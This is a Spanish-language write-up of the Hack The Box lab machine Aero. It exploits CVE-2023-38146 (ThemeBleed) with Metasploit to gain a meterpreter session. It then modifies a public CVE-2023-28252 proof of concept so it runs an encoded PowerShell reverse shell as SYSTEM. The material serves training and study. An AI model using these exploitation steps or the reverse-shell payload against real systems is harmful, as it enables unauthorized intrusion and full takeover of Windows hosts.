Entrada

Writeup Aero

Writeup Aero

Esta vez traigo una writeup de la maquina de HTB Aero, el cual creo que es interesante porque se hara uso de metasploit para obtener la sesion de usuario y en otros writeups he visto que se usa CobaltStrike o Directamente el POC del creador del exploit que permite obtener la sesion, pero en ninguno se ha hecho uso de metasploit.

Enumeracion

Una vez conectados al laboratorio de HTB y si hemos iniciado la maquina correctamente podemos comprobar que esta esta activa mediante una traza ICMP:

Grafica del estudio de mercado

Tal como se puede apreciar la maquina devuelve el paquete con un ttl de 127 debido a que es una maquina windows.

Podemos enumerar la maquina con el siguiente comando en NMAP

1
sudo nmap -sS --min-rate 5000 -n -Pn -vvv --open -p- -oG allPorts 10.10.11.237

Usare la siguiente utilidad incluida en mi .bashrc para extraer los puertos del archivo allPorts:

1
2
3
4
5
6
7
8
9
10
function extractPorts(){
	ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
	ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)"
	echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
	echo -e "\t[*] IP Address: $ip_address"  >> extractPorts.tmp
	echo -e "\t[*] Open ports: $ports\n"  >> extractPorts.tmp
	echo $ports | tr -d '\n' | xclip -sel clip
	echo -e "[*] Ports copied to clipboard\n"  >> extractPorts.tmp
	cat extractPorts.tmp; rm extractPorts.tmp
}

La salida se ve a continuacion:

Grafica del estudio de mercado

Por lo que se ve hay un unico servicio a la escucha el cual es la pagina http que se muestra a continuacion:

Grafica del estudio de mercado

Explotacion

Inmediatamente llaman la atencion las siguiente palabras: AERO y windows 11. Ademas tenemos el siguiente panel donde podemos subir temas de windows para que sean almacenados:

Grafica del estudio de mercado

Buscando en google: “Aero windows 11 theme vulnerability” encontramos que existen 2 vulnerabilidades conocidas, tal como se muestra en la siguiete imagen:

Grafica del estudio de mercado

Se ve que la que se podria usar es la vulnerabilidad de ejecucion de codigo remoto CVE-2023-38146 con una severidad de 8.8. Esta vulnerabilidad tambien se conoce como themeBleed. El descubridor de esta vulnerabilidad escribio el siguiente POC, hay un par de writeups en linea para aprender como usar este POC.

Nostros ocuparemos Metasploit pues si surgen problemas al intentar usar el exploit directo, es una buena alternativa. Dado que es una vulnerabilidad relativamente nueva lo primero que haremos sera actualizar metasploit a la version mas reciente con el siguiente comando.

1
2
3
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Grafica del estudio de mercado

Ahora podemos verificar la version de metasploit con el siguiente comando:

1
msfconsole -v

Una vez actualizado iniciamos metasploit como root:

1
sudo msfconsole

Y le decimos que vamos a usar el siguiente exploit:

1
msf > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146

Las opciones que debemos configurar para usar el exploit son las siguientes:

Grafica del estudio de mercado
  • SRVHOST : es la ip 0.0.0.0 que indica que nuesta maquina atacante estara a la escucha en todas las interfaces. Y se usara para iniciar el servidor smb.

  • SRVPORT : es el puerto que se usara para recibir las conexiones smb por defecto 445.

  • STYLE_FILE : aqui va la ruta a un archivo .msstyles firmado por microsoft necesario para enganar al equipo victima. Si tenemos un computador windows tendremos un archivo que sirve para estos propositos en la ruta C:\Windows\Resources\Themes\aero\aero.msstyles podemos copiarlo desde el windows a nuestro linux.

  • STYLE_FILE_NAME : aqui tiene que ir el mismo nombre de arriba pero sin la extension.

  • THEME_FILE_NAME : este es el archivo que debemos convence a la victima que instale, en este caso lo subiremos en el panel que la web ofrece, podemos colocarle cualquier nombre siempre que tenga la extension .theme .

  • LHOST : la ip de nuestro equipo atacante en la red de hackthebox.

  • LPORT : un puerto libre en nuestra maquina atacante para escuchar la shell inversa.

Ademas ponemos set verbose true en la consola de metasploit para indicarle que queremos ver toda la salida que el programa genera.

La configuracion final de nuestro exploit deberia ser:

Grafica del estudio de mercado

Ahora podemos correr el exploit iniciando el serivdor smb y dejando activo el listener de la shell inversa, como se muestra a continuacion:

Grafica del estudio de mercado

Subimos el tema que esta en la ruta /root/.msf4/local/malicioso.theme a la web de aero.

Grafica del estudio de mercado

Una vez que le damos al boton de UPLOAD FILE deberiamos ver lo siguiente en nuestro metasploit:

Grafica del estudio de mercado

accedemos a la sesion correspondiente de meterpreter:

Grafica del estudio de mercado

La flag de usuarios como es costumbre se encuentra en el escritorio de SAM.EMERSON:

Grafica del estudio de mercado

Escalada de Privilegios

Como podemos ver en el directorio C:\Users\sam.emerson\Documents hay un archivo que tiene el nombre de una vulnerabilidad de escalada de privilegios, lo descargamos mediante meterpreter como se muestra en la siguiente imagen:

Grafica del estudio de mercado

Y si lo abrimos veremos que el archivo contiene el siguiente texto:

CVE-2023-28252 Summary:
Vulnerability Type: Privilege Escalation
Target Component: Common Log File System (CLFS)
Risk Level: Critical
Exploitation Date: February 2022 onwards
Patch Released by Microsoft: April 2023
Background:
The Nokoyawa ransomware group has been actively exploiting this vulnerability since
February 2022, and it was only in April 2023 that Microsoft released a patch to
address this issue. This vulnerability has been used as a means for attackers to
gain unauthorized access to Windows systems, making it imperative for us to apply
the necessary patch to safeguard our infrastructure.
Actions Required:
Immediate Patching: We strongly recommend applying the security patch released by
Microsoft for CVE-2023-28252 as soon as possible to mitigate the risk associated
with this vulnerability. Failing to do so could leave our servers exposed to
potential exploitation.
Review and Monitoring: In addition to patching, we should conduct a thorough review
of our server logs to check for any signs of suspicious activity or unauthorized
access. Continuous monitoring of our server environment is crucial to ensure the
security of our systems.
Security Awareness: It is essential to remind all team members of the importance of
practicing good cybersecurity hygiene. Encourage the use of strong, unique
passwords and two-factor authentication wherever applicable.
Incident Response Plan: Ensure that our incident response plan is up-to-date and
ready for immediate activation in case of any security incidents. Timely detection
and response are critical in mitigating the impact of potential attacks.

Una busqueda de la vulnerabilidad en google nos lleva al siguiente repositorio que tiene un POC. Lo clonamos y lo abrimos con vstudio. Y en archivo clfs_eop.cpp cambiamos la parte que ejecuta notepad con privilegios de sistema para que ejecuta una reverse shell de powershell. El codigo en cuestion es el siguiente:

1
2
3
4
5
6
7
8
if (strcmp(username, "SYSTEM") == 0){
	printf("WE ARE SYSTEM\n");
	system("notepad.exe");			
}else {
	printf("NOT SYSTEM\n");
}
exit(1);
return;

Vamos a la pagina revshells y creamos la siguiente shell:

Grafica del estudio de mercado

Y el codigo del POC nos quedaria de la siguiente manera:

1
2
3
4
5
6
7
8
if (strcmp(username, "SYSTEM") == 0){
	printf("WE ARE SYSTEM\n");
	system("powershell -e JABj...=");			
}else {
	printf("NOT SYSTEM\n");
}
exit(1);
return;

En mi caso como estoy usando vstudio 2022 y el proyecto esta hecho en vstudio 2019 debo hacer click derecho en el icono de solucion y luego click en retarget solution y se me deberia abrir el siguiente cuadro de texto:

Grafica del estudio de mercado

Hago click en Ok. Luego selecciono Release > x64 > Build solution. Luego movemos el archivo .exe generado a nuestra maquina de atacante y lo pasamos a la maquina victima. En este caso lo hare con el meterpreter como se muestra a continuacion:

Grafica del estudio de mercado

Inicio netcat en mi maquina atacante:

Grafica del estudio de mercado

y ejecuto el programa desde la shell de windows que abri en el meterpreter:

Grafica del estudio de mercado

Ahora deberia ver que en el netcat se abre una shell y podre extraer la flag que se encuentra en C:\Users\Administrator\Desktop\root.txt:

Grafica del estudio de mercado

Conclusion

Es una maquina bastante realista que permite aprender sobre exploits reales y que en el caso del segundo tuvo un impacto en la propagacion de ransomware Nokoyawa. Ademas aprendimos sobre como se usa Microsoft Security Update Guide.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.